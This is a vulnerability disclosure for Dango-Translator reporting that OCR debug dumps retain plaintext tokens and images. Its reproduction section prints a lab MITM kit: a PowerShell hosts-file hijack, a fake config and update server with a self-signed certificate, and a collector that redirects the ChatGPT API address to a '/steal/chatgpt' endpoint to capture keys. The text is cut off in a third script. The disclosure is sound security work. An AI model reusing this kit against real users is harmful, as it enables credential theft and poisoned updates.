OCR debug files retain plaintext account tokens and image data

Author: REYu6Created Sep 21, 2026Updated Sep 21, 2026

OCR debug files retain plaintext account tokens and image data

Finding: F-P8-012
Affected: master commit 8fec437, audited against upstream on 2026-09-18.
Weakness: CWE-312

Description

translator/ocr/dango.py:372-373,420-421,463-464 unconditionally dumps complete OCR, inpainting and rendering request bodies to ocr.json, ipt.json and rdr.json in the working directory. The dumps include the token and image content and are not cleaned up on exit.

Impact and prerequisites

A party able to read these files can recover the token and private image contents after the application closes. No ability to read another OS user's protected files is assumed or demonstrated.

Reproduction

Use a disposable Windows x64 VM and an unchanged checkout of PantsuDango/Dango-Translator at 8fec437. The recorded environment was Windows 10.0.26200 and Python 3.8.6. Use the layout _win_dango/deploy/app for the source, _win_dango/venv for Python, and _win_dango/mitm for the scripts. Copy the repository's genuine autoupdate/自动更新程序.exe to deploy/. Install project requirements; the recorded compatibility substitutions were opencv_python 4.5.5.64, scikit_image 0.19.3 and tencentcloud_sdk_python 3.0.351, omitting unused winreglib and the skimage placeholder. Also install natsort, pywinauto and pyautogui; OpenSSL must be available for the local certificate generator.

Create evidence/ and seed the disposable app configuration with username dango_mitm_user and password PwnPass-42bd86232c97c8bf. The source-run fixture used placeholder files deploy/app/PIL/_imagingft.cp38-win32.pyd (to avoid an unrelated download-and-exit branch) and deploy/app/团子翻译器.exe (175 bytes, only to observe update replacement). Use a synthetic 200x80 PNG named manga_test.png; its exact reproduction bytes are in the ZIP. The GUI driver was recorded at 150% screen scaling; adapt its RATE or use the corresponding manual GUI steps.

Adapt the absolute F: paths in the three PowerShell scripts to this disposable layout. From an elevated shell run elevate_hosts.ps1, then fix_hosts.ps1 if an existing hosts entry prevented insertion. These map four project domains to 127.0.0.1 and block the updater's fallback IP; elevation is solely for constructing the network-attacker lab, not an attacker prerequisite. Run mitm_server_full.py: listeners 443, 18443 and 18090 bind only to loopback. It generates a self-signed certificate and serves synthetic API responses, credentials and inert marker bytes. Run GUI stages with the environment's Python, or perform their visible GUI actions manually. Do not use a real account or real API key. Afterwards stop the app/server and run restore_hosts.ps1 elevated to restore the hosts backup and remove the test firewall rule.

For non-update tests keep latest_version at 4.5.8 in state.json and leave updater MD5/URL overrides unset. The update test uses the supplied Run2 example, followed by Run3 with auto_update_file_md5 set to 32 zeros and auto_update_file_url pointing to the local updater-marker endpoint. The shared harness has additional stages; only the finding-specific stages below are necessary.

Stages: launch, login, then manga (Import original image, then Translate all). Inspect the three JSON files under deploy/app both before and after closing the app.

The complete PoC and required text fixtures follow. Original code comments and diagnostic strings are preserved to keep the reproduced scripts unchanged. Absolute laboratory paths must be adapted to the equivalent disposable layout. No reproduction was rerun while preparing this disclosure.

mitm/elevate_hosts.ps1

powershell
# DANGO-MITM-REPRO: hosts hijack + anti-exfil firewall block (elevated)
$ErrorActionPreference = 'Continue'
$out    = 'F:\Disassertation\PySAST\PySAST-repro\\\unresolved-repro\_win_dango\evidence\\\uac_elevate_result.txt'
$hostsP = Join-Path $env:SystemRoot 'System32\drivers\etc\hosts'
$backup = 'F:\Disassertation\PySAST\PySAST-repro\\\unresolved-repro\_win_dango\evidence\hosts.backup.txt'

Copy-Item $hostsP $backup -Force
"BACKUP-OK -> $backup" | Out-File $out -Encoding utf8

$entries = @(
  '127.0.0.1 trans.dango.cloud # DANGO-MITM-REPRO',
  '127.0.0.1 dango.c4a15wh.cn # DANGO-MITM-REPRO',
  '127.0.0.1 dl.ap-sh.starivercs.cn # DANGO-MITM-REPRO',
  '127.0.0.1 capiv1.ap-sh.starivercs.cn # DANGO-MITM-REPRO'
)
$raw = Get-Content $hostsP -Raw
foreach ($e in $entries) {
  $dom = ($e -split '\s+')[1]
  if ($raw -notmatch [regex]::Escape($dom)) {
    Add-Content -Path $hostsP -Value $e -Encoding ascii
    "ADDED: $e" | Out-File $out -Append -Encoding utf8
  } else {
    "ALREADY-PRESENT: $dom" | Out-File $out -Append -Encoding utf8
  }
}
try {
  New-NetFirewallRule -DisplayName 'DANGO-MITM-BLOCK-FALLBACK-IP' -Direction Outbound -Action Block -Protocol TCP -RemoteAddress '43.154.0.93' -ErrorAction Stop | Out-Null
  "FW-BLOCK-OK 43.154.0.93 (update.py hardcoded fallback IP)" | Out-File $out -Append -Encoding utf8
} catch { "FW-BLOCK-FAIL: $_" | Out-File $out -Append -Encoding utf8 }

"VERIFY-HOSTS:" | Out-File $out -Append -Encoding utf8
Select-String -Path $hostsP -Pattern 'DANGO-MITM-REPRO' | ForEach-Object { $_.Line } | Out-File $out -Append -Encoding utf8
"DONE" | Out-File $out -Append -Encoding utf8

mitm/mitm_server_full.py

python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Windows 真机 MITM 基础设施 — Dango-Translator 全栈复现
=====================================================
授权声明: 仅本地授权复现。三个服务器全部绑定 127.0.0.1:
  :443   伪造配置中心 (https://trans.dango.cloud, hosts 劫持 -> 127.0.0.1, 自签证书)
  :18443 恶意更新/文件下载源 (标记载荷, 无任何真实恶意程序)
  :18090 收集服务器 (OCR/翻译/漫画端点, 记录全部请求原文)
所有响应均为无害 JSON / 标记字节。
"""
import base64
import json
import os
import ssl
import subprocess
import sys
import threading
import time
import random
import string
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

BASE = os.path.dirname(os.path.abspath(__file__))            # .../_win_dango/mitm
ROOT = os.path.dirname(BASE)                                  # .../_win_dango
EVID = os.path.join(ROOT, "evidence")
CAPD = os.path.join(EVID, "captures")
CERT_DIR = os.path.join(BASE, "cert")
CERT_FILE = os.path.join(CERT_DIR, "selfsigned.pem")
KEY_FILE = os.path.join(CERT_DIR, "selfsigned.key")
STATE_FILE = os.path.join(BASE, "state.json")

MARK = "42bd86232c97c8bf"
FAKE_TOKEN = "DANGO-FAKE-TOKEN-" + MARK
MAIN_PAYLOAD = (
    ("DANGO-FULLSTACK-PWN-%s\n" % MARK).encode() * 40
)  # 无害标记字节, 代替真实恶意更新
AUTOUPDATE_PAYLOAD = (
    ("DANGO-AUTOUPDATE-PWN-%s\n" % MARK).encode() * 40
)
MISC_PAYLOAD = ("DANGO-MITM-FILE-%s\n" % MARK).encode() * 20

LOCK = threading.Lock()
SEQ = {"n": 0}


def log(*a):
    line = "[%s] %s" % (time.strftime("%H:%M:%S"), " ".join(str(x) for x in a))
    print(line, flush=True)


def next_seq():
    with LOCK:
        SEQ["n"] += 1
        return SEQ["n"]


def save_capture(server, method, path, headers, body):
    """把请求原文落盘 evidence/captures/。"""
    n = next_seq()
    safe_path = path.replace("?", "_Q_").replace("/", "_").replace(":", "")[:80]
    rec = {
        "seq": n,
        "time": time.strftime("%Y-%m-%d %H:%M:%S"),
        "server": server,
        "method": method,
        "path": path,
        "headers": dict(headers),
        "body_text": body.decode("utf-8", "replace"),
    }
    with open(os.path.join(CAPD, "captures_all.log"), "a", encoding="utf-8") as f:
        f.write(json.dumps(rec, ensure_ascii=False) + "\n")
    try:
        with open(os.path.join(CAPD, "%s_%03d_%s.json" % (server, n, safe_path)), "w", encoding="utf-8") as f:
            json.dump(rec, f, ensure_ascii=False, indent=1)
    except Exception as e:
        log("save_capture error", e)
    log("%s %s %s (body %d bytes)" % (server, method, path, len(body)))


def load_state():
    try:
        with open(STATE_FILE, "r", encoding="utf-8") as f:
            return json.load(f)
    except Exception:
        return {}


def dict_info():
    """伪造 dict_info (ShowDict 的 Result)。state.json 可按 run 切换。"""
    st = load_state()
    latest = st.get("latest_version", "4.5.8")       # run1: 4.5.8 (无更新弹窗), run2: 9.9.9
    update_url = st.get("update_url", "http://127.0.0.1:18443/payload/main_update.exe")
    auto_md5 = st.get("auto_update_file_md5", "")     # 空 = 不做静默自动更新程序替换
    auto_url = st.get("auto_update_file_url", "http://127.0.0.1:18443/payload/autoupdate.exe")
    info = {
        "latest_version": latest,
        "update_version": update_url,
        "update_version_message": "检测到新版本 %s\\n发现严重安全问题, 请立即更新!\\n(本条文案由 MITM 攻击者伪造 %s)" % (latest, MARK),
        "auto_update_file_md5": auto_md5,
        "auto_update_file_url": auto_url,
        "test_version_switch": "0",
        "dango_home_page": "https://trans.dango.cloud/",
        "dango_qq_group": "https://trans.dango.cloud/",
        "qq_group_number": "0",
        # 登录/账号 (全部指向被 hosts 劫持的 trans.dango.cloud)
        "dango_login": "https://trans.dango.cloud/DangoTranslate/Login",
        "dango_register": "https://trans.dango.cloud/DangoTranslate/Register",
        "dango_get_config": "https://trans.dango.cloud/DangoTranslate/GetSettin",
        "dango_save_settin": "https://trans.dango.cloud/DangoTranslate/SaveSettin",
        "dango_get_inform": "https://trans.dango.cloud/DangoTranslate/Getinform",
        "dango_check_email": "https://trans.dango.cloud/DangoTranslate/CheckEmail",
        "dango_send_email": "https://trans.dango.cloud/DangoTranslate/SendEmail",
        "dango_modify_password": "https://trans.dango.cloud/DangoTranslate/ModifyPassword",
        "dango_modify_email": "https://trans.dango.cloud/DangoTranslate/ModifyEmail",
        "dango_check_permission": "http://127.0.0.1:18090/check_permission",
        "dango_trans": "http://127.0.0.1:18090/v2/translate/sync_task",
        # OCR
        "ocr_login": "http://127.0.0.1:18090/ocr/login",
        "ocr_server": "http://127.0.0.1:18090/ocr/api",
        "ocr_node": json.dumps({"本地节点": "http://127.0.0.1:18090/ocr/api"}),
        "ocr_host": "",
        "ocr_query_quota": "http://127.0.0.1:18090/ocr/query_quota",
        "ocr_probation": "http://127.0.0.1:18090/ocr/probation",
        "ocr_probation_read_count": "http://127.0.0.1:18090/ocr/probation_read_count",
        "ocr_login_html": "https://trans.dango.cloud/",
        "ocr_install_url": "http://127.0.0.1:18443/payload/ocr_install.bin",
        # 漫画 OCR/IPT/RDR (F-P8-007/012: token 外发端点被 dict_info 重定向)
        "manga_ocr": "http://127.0.0.1:18090/v2/manga_trans/advanced/manga_ocr",
        "manga_probate_ocr": "http://127.0.0.1:18090/v2/manga_probate/advanced/manga_ocr",
        "manga_text_inpaint": "http://127.0.0.1:18090/v2/manga_trans/advanced/text_inpaint",
        "manga_probate_text_inpaint": "http://127.0.0.1:18090/v2/manga_probate/advanced/text_inpaint",
        "manga_text_render": "http://127.0.0.1:18090/v2/manga_trans/advanced/text_render",
        "manga_probate_text_render": "http://127.0.0.1:18090/v2/manga_probate/advanced/text_render",
        "manga_font_list": "http://127.0.0.1:18090/v2/manga_trans/advanced/get_available_fonts",
        "manga_read_count": "http://127.0.0.1:18090/manga/read_count",
        # 文件下载
        "pil_file_url": "http://127.0.0.1:18443/payload/pil.pyd",
        "manga_font_file_url": "http://127.0.0.1:18443/payload/NotoSansSC-Regular.otf",
        "register_image_url": "http://127.0.0.1:18443/img/register.gif",
        "settin_image_url": "http://127.0.0.1:18443/img/settin.jpg",
        "test_image": "http://127.0.0.1:18443/img/image.jpg",
        # 教程等链接全部指向收集服务器, 避免外联
        "tutorial_url": "http://127.0.0.1:18090/",
        "tutorial_public_trans": "http://127.0.0.1:18090/tut/public",
        "tutorials_online_ocr": "http://127.0.0.1:18090/tut/online_ocr",
        "tutorials_offline_ocr": "http://127.0.0.1:18090/tut/offline_ocr",
        "tutorials_baidu_ocr": "http://127.0.0.1:18090/tut/baidu_ocr",
        "manga_tutorial": "http://127.0.0.1:18090/tut/manga",
        "aliyun_tutorial": "http://127.0.0.1:18090/tut/aliyun",
        "baidu_tutorial": "http://127.0.0.1:18090/tut/baidu",
        "caiyun_tutorial": "http://127.0.0.1:18090/tut/caiyun",
        "chatgpt_tutorial": "http://127.0.0.1:18090/tut/chatgpt",
        "huoshan_tutorial": "http://127.0.0.1:18090/tut/huoshan",
        "tencent_tutorial": "http://127.0.0.1:18090/tut/tencent",
        "xiaoniu_tutorial": "http://127.0.0.1:18090/tut/xiaoniu",
        "youdao_tutorial": "http://127.0.0.1:18090/tut/youdao",
        "tencent_xpath": "",
        "xiaoniu_xpath": "",
        "bilibili_video": "http://127.0.0.1:18090/video",
    }
    return info


def jdump(obj):
    return json.dumps(obj).encode("utf-8")


# 1x1 PNG base64 (标准字节), 用于漫画 IPT/RDR 回包
TINY_PNG = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg=="


def handle_config_center(method, path, headers, body):
    """443 伪造配置中心: 返回 (status, bytes, content_type)。"""
    if "ShowDict" in path:
        info = dict_info()
        save_capture("443", method, path, headers, body)
        return 200, jdump({"Code": 0, "Result": info})
    save_capture("443", method, path, headers, body)
    if "Login" in path:
        return 200, jdump({"Result": "OK"})
    if "GetSettin" in path:
        # 云端配置下发: 开启在线OCR; 毒化 chatgptApiAddr (F-P8-002)
        return 200, jdump({"Result": json.dumps({
            "onlineOCR": True,
            "chatgptApiAddr": "http://127.0.0.1:18090/steal/chatgpt",
        })})
    if "CheckEmail" in path:
        return 200, jdump({"Status": "Success", "Result": {"Email": "[email protected]"}})
    if "Getinform" in path:
        return 200, jdump({"Result": ""})
    if "SaveSettin" in path or "Register" in path or "SendEmail" in path or "Modify" in path:
        return 200, jdump({"Status": "Success", "Result": ""})
    return 200, jdump({"Result": ""})


def handle_collector(method, path, headers, body):
    """18090 收集服务器: 记录一切, 按端点回伪造业务响应。"""
    save_capture("18090", method, path, headers, body)
    if "/ocr/login" in path:
        return 200, jdump({"Code": 0, "Token": FAKE_TOKEN, "ErrorMsg": ""})
    if "/ocr/api" in path or "/ocr/probation" in path:
        return 200, jdump({"Code": 0, "Message": "ok", "Data": [{
            "Words": "MITM-OCR-PWNED-" + MARK,
            "Coordinate": {"UpperLeft": [0, 0], "UpperRight": [100, 0],
                           "LowerRight": [100, 30], "LowerLeft": [0, 30]},
        }]})
    if "/ocr/query_quota" in path:
        return 200, jdump({"Code": 0, "Result": []})
    if "/ocr/probation_read_count" in path:
        return 200, jdump({"Code": 0, "Data": 99})
    if "/v2/translate/sync_task" in path:
        return 200, jdump({"Code": 0, "Message": "ok", "Data": {"texts": ["MITM-PWNED-TRANSLATION-" + MARK]}})
    if "manga_ocr" in path:
        return 200, jdump({"Code": 0, "Message": "ok", "Data": {
            "mask": TINY_PNG,
            "text_block": [{
                "texts": ["MITM-PWNED-TEXT"],
                "coordinate": [{
                    "upper_left": [20, 15], "upper_right": [90, 15],
                    "lower_right": [90, 35], "lower_left": [20, 35],
                }],
                "block_coordinate": {"upper_left": [20, 15], "upper_right": [90, 15],
                                     "lower_right": [90, 35], "lower_left": [20, 35]},
                "foreground_color": [0, 0, 0],
                "background_color": [255, 255, 255],
                "font_size": 20,
                "angle": 0,
                "property": "default",
            }],
        }})
    if "text_inpaint" in path:
        return 200, jdump({"Code": 0, "Message": "ok", "Data": {"inpainted_image": TINY_PNG}})
    if "text_render" in path:
        return 200, jdump({"Code": 0, "Message": "ok", "Data": {"image": TINY_PNG}})
    if "get_available_fonts" in path:
        return 200, jdump({"Code": 0, "Data": {"fonts": ["Noto_Sans_SC/NotoSansSC-Regular"]}})
    if "/check_permission" in path:
        return 200, jdump({"Code": 0})
    if "/manga/read_count" in path:
        return 200, jdump({"Code": 0, "Data": 1})
    if "/steal/chatgpt" in path:
        # OpenAI 形状回包 (Bearer 密钥已被收集)
        return 200, jdump({"choices": [{"message": {"content": "MITM-PWNED-CHATGPT-" + MARK}}]})
    return 200, jdump({"Code": 0, "Message": "ok"})


def handle_payload(method, path, headers, body):
    """18443 标记载荷源。"""
    save_capture("18443", method, path, headers, body)
    if "autoupdate" in path:
        payload, name = AUTOUPDATE_PAYLOAD, "autoupdate.exe"
    elif "main_update" in path:
        payload, name = MAIN_PAYLOAD, "main_update.exe"
    else:
        payload, name = MISC_PAYLOAD, "misc.bin"
    log("18443 serving payload: %s (%d bytes) -> %s" % (name, len(payload), path))
    return 200, payload, "application/octet-stream"


def make_handler(dispatcher):
    class H(BaseHTTPRequestHandler):
        protocol_version = "HTTP/1.1"

        def _run(self):
            try:
                length = int(self.headers.get("Content-Length") or 0)
            except Exception:
                length = 0
            body = self.rfile.read(length) if length else b""
            try:
                r = dispatcher(self.command, self.path, self.headers, body)
                if len(r) == 2:
                    status, payload = r
                    ctype = "application/json"
                else:
                    status, payload, ctype = r
            except Exception as e:
                log("dispatcher error on %s: %r" % (self.path, e))
                status, payload, ctype = 200, jdump({"Code": 0}), "application/json"
            self.send_response(status)
            self.send_header("Content-Type", ctype)
            self.send_header("Content-Length", str(len(payload)))
            self.end_headers()
            try:
                self.wfile.write(payload)
            except Exception:
                pass

        do_GET = do_POST = _run

        def log_message(self, *a):
            pass

    return H


def ensure_cert():
    os.makedirs(CERT_DIR, exist_ok=True)
    if os.path.exists(CERT_FILE) and os.path.exists(KEY_FILE):
        return
    subprocess.run([
        "openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes",
        "-keyout", KEY_FILE, "-out", CERT_FILE, "-days", "2",
        "-subj", "/CN=trans.dango.cloud/O=DANGO-MITM-REPRO-LOCAL",
    ], check=True, capture_output=True)
    log("self-signed cert generated:", CERT_FILE)


def main():
    os.makedirs(CAPD, exist_ok=True)
    ensure_cert()

    https_srv = ThreadingHTTPServer(("127.0.0.1", 443), make_handler(handle_config_center))
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(CERT_FILE, KEY_FILE)
    https_srv.socket = ctx.wrap_socket(https_srv.socket, server_side=True)
    threading.Thread(target=https_srv.serve_forever, daemon=True).start()
    log("fake config center up: https://trans.dango.cloud/ (hosts->127.0.0.1:443, self-signed)")

    collector = ThreadingHTTPServer(("127.0.0.1", 18090), make_handler(
        lambda m, p, h, b: (lambda r: (r[0], r[1], "application/json"))(handle_collector(m, p, h, b))))
    threading.Thread(target=collector.serve_forever, daemon=True).start()
    log("collector up: http://127.0.0.1:18090  (token issued:", FAKE_TOKEN, ")")

    payload_srv = ThreadingHTTPServer(("127.0.0.1", 18443), make_handler(
        lambda m, p, h, b: handle_payload(m, p, h, b)))
    threading.Thread(target=payload_srv.serve_forever, daemon=True).start()
    log("payload server up: http://127.0.0.1:18443")

    with open(os.path.join(EVID, "mitm_token.txt"), "w") as f:
        f.write(FAKE_TOKEN)

    log("MITM infrastructure READY. state.json =", STATE_FILE)
    try:
        while True:
            time.sleep(3600)
    except KeyboardInterrupt:
        log("shutting down")


if __name__ == "__main__":
    main()

mitm/gui_driver.py

python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
GU

Source: PantsuDango/Dango-Translator